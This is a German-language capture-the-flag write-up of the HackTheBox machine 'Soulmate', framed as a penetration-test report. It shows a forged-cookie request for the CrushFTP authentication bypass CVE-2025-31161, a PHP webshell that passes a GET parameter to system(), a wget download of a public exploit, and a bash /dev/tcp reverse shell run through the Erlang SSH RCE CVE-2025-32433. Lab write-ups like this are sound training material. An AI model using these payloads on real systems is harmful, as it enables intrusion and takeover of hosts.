HTB - Soulmate#

Dieser Artikel soll nicht ausschließlich zeigen, wie diese Box von HTB kompromittiert werden kann, sondern auch in gewissem Maße, wie es behandelt würde, wenn dieser Host im Kontext eines Penetrationtests geprüft würde. Daher werden wir diese Box zerlegen, um herauszufinden, was die kritische Sicherheitsprobleme sind. Darüber hinaus werden wir das möglichst ausführlich umsetzen. Das Ziel ist nicht lediglich root zu werden, sondern einen umfassenden Überblick über den Sicherheitszustand des Hosts zu bekommen.

BetriebssystemLinux
SchwierigkeitsgradEinfach
Veröffentlichungsdatum06 Sep, 2025

Diese Box ist auf verschiedene Weise ausnutzbar. Mehrere CVEs wurden identifiziert und ausgenutzt, was zu einer vollen Kompromittierung des Systems führte. Mangelnde Aktualisierung und unsichere Konfiguration sind dafür verantwortlich. Ein solcher Zustand des Systems stellt ein erhebliches Risiko für die Daten der Kunden der gehosteten Webseite und für das interne Netzwerk dar.

Im Wesentlichen wurden zwei Schwachstellen ausgenutzt:

  • CVE-2025-31161: Authentifizierungs-Bypass in der CrushFTP-Anwendung
  • CVE-2025-32433: Remote Code Execution in der SSH-Implementierung der Erlang-Bibliothek

Recon#

Zuerst wird ein Scan durchgeführt, um den Host zu identifizieren, beziehungsweise was von außen zu sehen ist. Der Testumfang bezieht sich nur auf eine einzige IP-Adresse, daher wird vorerst ein Netzwerkscan durchgeführt, damit die offenen Ports erkannt werden.
Es sind lediglich zwei TCP-Ports erreichbar: 22/TCP und 80/TCP .

nmap -Pn -v -sS -p- "$TARGET"
[🔴][Feb 15, 2026 - 18:03:57 (CET)] exegol-HTB /workspace # nmap --top-port 1000 "$TARGET"
Starting Nmap 7.93 ( https://nmap.org ) at 2026-02-15 18:04 CET
Nmap scan report for soulmate.htb (10.129.231.23)
Host is up (0.13s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 1.82 seconds
PortZustandDienst
22/TCPoffenOpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/TCPoffennginx 1.18.0 (Ubuntu)

Hier ist zu beachten, dass eine begrenzte Anzahl an offene Ports gibt, was anerkannte Sicherheitsstandards entspricht.

Nichtsdestotrotz ist die nginx-Softwareversion nicht mehr aktualisiert. Die nginx-Version 1.18.0 hat am 21. April 2020 zum letzten Mal ein Update erhalten, wodurch sich das Risiko erhöht, dass Schwachstellen in dieser Version auftreten und ungepatcht bleiben.

https://nginx.org/en/CHANGES-1.18

Zusätzlich gibt es Schwachstellen für diese Version.
image

Port 80 - HTTP#

In diesem Teil wird der Dienst am Port 80 untersucht und Informationen davon gesammelt.
Abfragen zu diesem Port via HTTP weisen darauf hin, dass eine bestimmte Domain, soulmate.htb , verwendet werden soll.

curl "http://$TARGET" -v
*   Trying 10.129.6.161:80...
* Connected to 10.129.6.161 (10.129.6.161) port 80 (#0)
> GET / HTTP/1.1
> Host: 10.129.6.161
> User-Agent: curl/7.88.1
> Accept: */*
> 
< HTTP/1.1 302 Moved Temporarily
< Server: nginx/1.18.0 (Ubuntu)
< Date: Tue, 17 Feb 2026 19:01:52 GMT
< Content-Type: text/html
< Content-Length: 154
< Connection: keep-alive
< Location: http://soulmate.htb/

Die Domain wird in den /etc/hosts hinzugefügt, damit wir den virtuellen Host verwenden können.

echo "$TARGET soulmate.htb" >> /etc/hosts

Ermittlung der Subdomänen#

Der HTTP-Dienst verwendet die Domäne soulmate.htb. Durch einen Brute-Force der Subdomänen wurde einen weiteren Dienst entdeckt: ftp.soulmate.htb

ffuf -c -w `fzf-wordlists` -H 'Host: FUZZ.soulmate.htb' -u "http://$TARGET/" -fs 154

image

soulmate.htb#

Wir analysieren die Webseite.
image

Wir bemerken erstens, dass die Fehlerseiten nicht personalisiert wurden, wodurch es möglich ist, technische Informationen zu sammeln.
image

Außerdem führen wir ein Datei-Brute-Force. Dabei wurde keine besondere Datei aufgedeckt.
image

Die Webseite enthält keine kritische Schwachstelle. Man kann sich nur anmelden und sein Profil aktualisieren.

Dieser Dienst ist nicht der wichtigste auf diesem Host. Wir werden uns mehr mit dem Nächsten beschäftigen.

ftp.soulmate.htb#

Anhand des virtuellen Hosts ftp.soulmate.htb bekommen wir Zugang zu einer CrushFTP-Instanz.
image

Wir bemerken Abfragen für Javascript-Dateien mit einem GET-Parameter, der ein Datum und eine Build-Version enthält.

Der GET-Parameter v=11.W.657-2025\_03\_08\_07\_52 wird verwendet, um sicherzustellen, dass keine alte Datei vom Cache geladen werden wird, sondern die Datei der Version, die diese des aktuellen Zustands der Anwendung entspricht.
image

Dieser Parameter deutet darauf hin, dass die Build-Version 11.W.657 ist. Daher können wir davon ausgehen, dass es sich um ein Release der Version 11 vom 8. März 2025 handelt. Diese Version scheint anfällig für mehrere CVE zu sein.
image

Wir werden uns mit der Schwachstelle CVE-2025-31161 beschäftigen und wir werden anhand dieser den Host kompromitieren.

Nichtsdestotrotz wurden auch andere CVEs getestet und die CVE-2025-54309 betrifft ebenfalls den Host.

CVE-2025-31161#

Diese Schwachstelle bezieht sich auf eine Authentifizierungs-Bypass. Die Voraussetzung ist lediglich die Kenntnis des Namens eines vorhandenen Benutzerskontos. Dann muss man einfach eine besondere Anfrage senden, sodass man ein gültiges Cookie erhält.

Die Schwachstelle bezieht sich auf einen logischen Bug in der S3-Authentifizierungsfunktionalität.
Eine tiefere Analyse dieser Schwachstelle ist hier zur Verfügung: https://projectdiscovery.io/blog/crushftp-authentication-bypass

Anhand der unten legenden Anfrage können wir das Cookie CrushAuth=424242424242_424242424242424242 als gültig für den Server einreichen. Das heißt, dass der Server dieses Cookie als ein gültiges Cookie für den Benutzer crushadmin betrachten wird. Hier ist der Benutzer crushadmin derjenige, für den es bereits ein Konto gibt. Dieser Benutzername ist der voreingestellte Name für den Administrator in CrushFTP.

GET /WebInterface/function/ HTTP/1.1
Host: ftp.soulmate.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Cookie: currentAuth=4242; CrushAuth=424242424242_424242424242424242
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/

Danach können wir das Cookie benutzen, um authentifizierte Abfrage zu machen.
Zum Beispiel fragen wir hier die Liste der Benutzernamen an.
image_1771781592836_0

Es ist auch möglich, sich mit dem Browser zu authentifizieren, indem wir unser gültiges Cookie in den Browser antragen.
image_1771782741817_0

Remote Code Execution#

Wir schauen uns an, welche Möglichkeiten wie als Administrator von CrushFTP haben. Das Ziel ist weiterhin, einen vollständigen Zugriff auf den Host zu erlangen. Es gibt mit CrushFTP mehrere Wege für die Post-Exploitation.
Wir haben zuerst direkt im Browser ein Telnet-Client zur Verfügung, das für eine laterale Bewegung nützlich sein kann.
image_1771779799432_0

Wir stellen auch fest, dass es eine Preview-Funktion gibt, die man personalisieren kann, im Sinne, dass die Konfiguration bis zum den Befehl, der für die Erstellung des Previews ausgeführ wird, bearbeitet werden kann. So könnten wir beliebige Befehle ausführen.
image_1771779750506_0

Letztendlich werden wir die Kernfunktion eines FTP-Servers ausnutzen und zwar: das Dateihochladen. Wir werden eine PHP-Datei in das Verzeichnis der Webseite von soulmate.htb hinlegen. Wenn wir unsere Datei mit dem Browser aufrufen werden, wird diese ausgeführt werden. Auf diese Weise können wir Befehle auf dem Host ausführen.

Wir laden eine Datei mit dem Name 5b186965-32d3-4c4c-8b7c-55bfa9486d63.php hoch. Wir wählen eine UUID als Name aus, damit unsere Webshell einigermaßen heimlich bleibt. Da diese Datei eine Hintertür darstellt, wollen wir nicht, dass opportunistische Angreifer sie ausnutzen. Das gleiche wird mit dem GET-Parameter gemacht, den wir verwenden werden, um Befehle zu senden.
Hier ist unsere WebShell:

# 5b186965-32d3-4c4c-8b7c-55bfa9486d63.php
<?php
system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']);
?>

Wir laden unsere Datei hoch.
image_1771783314354_0

Nach dem Hochladen können wir anfangen, Befehle auszuführen.
image_1771783487738_0

Um einen besseren Zugriff zu erlangen, setzen wir eine Reverse-Shell um.
image_1771784527812_0
image_1771784603541_0

Privilegieneskalation#

Wir wollen nun zum anderen Benutzerkonto und am besten zum root-Benutzer. Wir stellen fest, dass ein Erlang-Skript von root auf dem Host gestartet wurde.

ps auxf

image_1771785536066_0

Erlang ist eine Programmiersprache, die speziell für verteilte Systeme entwickelt wurde. Wir schauen uns das Skript genau an und wir bemerken, dass das Passwort des Benutzers ben in der Datei hartcodiert ist.
image_1771786037665_0

Außerdem stellen wir fest, dass wir das Passwort für eine Anmeldung mit SSH verwenden können.
image_1771786199676_0

CVE-2025-32433#

Wir haben herausgefunden, dass eine Erlang-Bibliothek, die für die SSH-Funktionalität zuständig ist, für die CVE-2025-32433 anfällig ist. Diese Schwachstelle wurde am 16 April 2025 entdeckt und ermöglicht Remote Code Execution. Da dieser Prozess mit root gestartet wurde, können wir damit Kontrolle über den Benutzer root erlangen.
Wir verwenden dieses Exploit: https://raw.githubusercontent.com/omer-efe-curkus/CVE-2025-32433-Erlang-OTP-SSH-RCE-PoC/refs/heads/main/cve-2025-32433.py
Wir laden das Exploit auf unseren Host herunter und wir öffnen einen HTTP-Server, um das Exploit auf den Ziel-Host übertragen zu können.

python -m http.server 5454

Das Exploit-Skript wird nun von dem Ziel-Host heruntergeladen.

wget http://10.10.15.24:5454/cve-2025-32433.py

Mit dem Exploit-Skript können Befehle als root ausgeführt werden. Wir richten dann eine Reverse-Shell ein und erlangen eine Root-Kommandozeile.

python3 cve-2025-32433.py localhost -p 2222 -c 'bash -i >& /dev/tcp/10.10.15.24/4243 0>&1'

image_1771787132718_0

Darüber hinaus ist das Exploit besonders auffällig, da es keine speziellen Rechte benötigt. Es kann von jedem Benutzer genutzt werden und sogar von einem Remote-Host, sofern der Dient nach außen geöffnet wurde.

Erlang-Shell#

Da wir das Passwort von Ben haben, können wir uns an den SSH-Server des Erlang-Skripts anmelden.
image_1772178808683_0

Dieser SSH-Server stellt eine Erlang-Shell zur Verfügung und damit können wir beliebige Erlang -Befehle ausführen. Wie erklärt in der Dokumentation ist es mit der Erlang-Shell möglich, Systembefehle auszuführen.
https://www.erlang.org/doc/apps/kernel/os.html

Es geht einfach mit der Funktion os:cmd("") . Wir können dadurch wieder eine Root-shell erlangen.
image_1772179250226_0